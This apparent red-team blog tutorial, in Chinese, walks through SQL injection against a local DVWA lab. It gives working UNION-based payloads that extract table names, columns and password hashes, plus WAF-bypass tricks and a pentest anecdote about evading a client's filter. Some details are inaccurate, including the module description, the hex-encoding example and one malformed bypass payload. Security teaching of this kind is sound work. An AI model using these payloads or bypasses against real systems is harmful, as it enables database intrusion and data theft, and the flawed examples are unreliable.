一、从某次数据泄露事件谈起
几年前,某知名电商平台爆出了一起严重的数据泄露事件,数百万用户的个人信息在暗网中流传。调查显示,黑客通过一次简单的 SQL 注入攻击获取到了数据库的敏感数据。这个事件让我深刻意识到,SQL 注入依然是 Web 应用中最常见且具有高危害性的漏洞之一。今天,我就从红队视角,带大家深入解析如何通过 SQL 注入完成一次完整的攻击链。
声明:本文内容仅供授权的安全测试和学习使用,严禁用于非法用途,否则责任自负。
---
二、SQL注入的致命魅力:攻防对抗中的核心角色
SQL 注入是如何成为经典攻击手段的?它的成因并不复杂:在应用层接收用户输入时,未对输入内容进行充分过滤或校验,导致恶意输入被直接拼接进了 SQL 查询。攻击者只需在输入中插入精心构造的 SQL Payload,就能直接操控数据库,执行任意查询。
常见注入类型
SQL 注入并非单一形式,我们可以根据注入点和执行机制将其分为以下几类:
- 基于错误的注入(Error-based Injection): 利用数据库的错误回显信息获知表结构、字段名等。
- 基于联合查询的注入(Union-based Injection): 通过
UNION SELECT将恶意 SQL 查询结果合并到正常查询中。 - 布尔盲注(Boolean-based Blind Injection): 通过观察页面回显的逻辑变化判断真伪。
- 时间盲注(Time-based Blind Injection): 借助
SLEEP()等函数,通过延迟时间判断真假。 - 堆叠查询注入(Stacked Query Injection): 利用分号
;执行多条查询。
每种注入方式都有其适用场景,我会在后文通过实战案例逐一展开。
---
三、靶场搭建:打造攻防对抗的练兵场
先搭建一个安全的攻击测试环境。我习惯使用 Docker 快速部署靶场,下面是我的环境搭建步骤:
靶场所需环境
- 一个支持 PHP 和 MySQL 的 Web 应用(如 DVWA 或 bWAPP)。
- 数据库中的目标表和数据,用于验证注入效果。
- 攻击机环境:建议使用 Kali Linux 或自定义的 Linux 渗透测试环境。
Docker快速搭建靶场
以下是用 Docker 部署 DVWA 靶场的命令,简单高效:

<pre><code class="language-shell"># 拉取 DVWA 镜像 docker pull vulnerables/web-dvwa
启动容器,映射到本地端口
docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa
查看容器运行状态
docker ps</code></pre>
访问 http://localhost:8080 即可打开 DVWA,默认管理员账号为 admin,密码为 password。
初始化数据库
DVWA 启动后需要进行数据库配置,点击页面上的 "Create / Reset Database" 按钮即可完成初始化。
接下来,我们以 DVWA 的弱口令模块为例,展开一次完整的 SQL 注入攻击。
---
四、探索注入点:如何找到一扇未锁的门?
思路一:观察URL参数和表单提交点
在 DVWA 的 "Login" 页面中输入任意内容后,观察流量,可以发现 POST 请求的参数如下:
<pre><code>POST /vulnerabilities/sqli/ HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded
username=admin&password=123&Login=Login</code></pre>
显然,username 和 password 这两个参数是潜在的注入点。
思路二:用单引号探路
向 username 提交一个单引号 ',观察页面是否返回错误信息:
<pre><code>username='&password=123&Login=Login</code></pre>
返回页面显示了如下数据库错误信息:
<pre><code class="language-html">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1</code></pre>
这表明该字段存在注入漏洞,现在可以开始构造更复杂的 Payload。
---

五、Payload构造的艺术:突破防御的技巧与细节
基于联合查询的注入
为了验证数据库中有多少列,我们可以尝试以下 Payload:
<pre><code class="language-sql">' UNION SELECT 1,2,3-- -</code></pre>
如果页面正常返回,说明数据库的查询结果中有 3 列。进一步利用以下 Payload 查看数据库名:
<pre><code class="language-sql">' UNION SELECT 1,2,database()-- -</code></pre>
页面显示出了数据库名 dvwa,接下来可以尝试获取表名和字段名。
构造信息获取链条
- 列出所有表名:
<pre><code class="language-sql">' UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema='dvwa'-- -</code></pre>
找到了一个感兴趣的表名:users。
- 列出表中的字段名:
<pre><code class="language-sql">' UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users'-- -</code></pre>
字段名包括 user_id、username、password,很可能存储了敏感信息。
- 读取用户数据:
<pre><code class="language-sql">' UNION SELECT 1,username,password FROM users-- -</code></pre>
页面显示了用户密码的 MD5 哈希值,如 admin 对应的密码是 5f4dcc3b5aa765d61d8327deb882cf99(显然是弱口令 password)。

---
六、绕过过滤规则:规避WAF与日志审计
在实战中,很多目标系统会开启 WAF(Web 应用防火墙)来拦截常见的 SQL 注入 Payload。以下是绕过的常用技巧:
字符编码绕过
使用十六进制编码代替文本输入。例如,UNION SELECT 可以写成:
<pre><code class="language-sql">UNION SELECT 0x31,0x32,0x64</code></pre>
注释绕过
利用注释符号隐藏关键字:
<pre><code class="language-sql">UN/**/ION SELECT 1,2,3-- -</code></pre>
大小写混淆
WAF 通常基于关键字匹配,而 SQL 是大小写不敏感的:

<pre><code class="language-sql">unIon SeLEct 1,2,3-- -</code></pre>
绕过空格限制
用括号、+ 或其他符号代替空格:
<pre><code class="language-sql">'UNION//SELECT//1,2,3-- -</code></pre>
这些方法并非百试百灵,需要针对具体目标的过滤策略灵活调整。
---
七、个人经验:从一次渗透测试中学到的教训
有一次,我们的红队对某金融机构进行渗透测试,SQL 注入是攻破目标的关键环节。目标使用了一个自研的 WAF,很聪明地过滤了常见 SQL 关键字。然而,他们忽略了一点:WAF 的规则只针对 GET 请求,而对 POST 请求几乎没有过滤。
通过将 Payload 放到 POST 请求中,我们成功绕过了防护,直接获取了数据库的敏感信息。这提醒我,在渗透测试中一定要多尝试不同的攻击路径,不要被表面现象迷惑。
---
八、总结:用攻击者的思维反思防御策略
SQL 注入并不是一个新鲜的漏洞,但它依然是 Web 应用安全的永恒威胁。作为攻击者,我们需要不断更新 Payload 构造技巧,学会绕过各种防护机制;作为防御者,我们要从根源上解决问题,使用参数化查询、严格过滤输入。
红队的核心思维是:找到目标的短板,并将其扩大到不可承受的程度。希望这篇文章能让你对 SQL 注入有更深刻的理解,也期望它能在你的渗透测试生涯中提供灵感。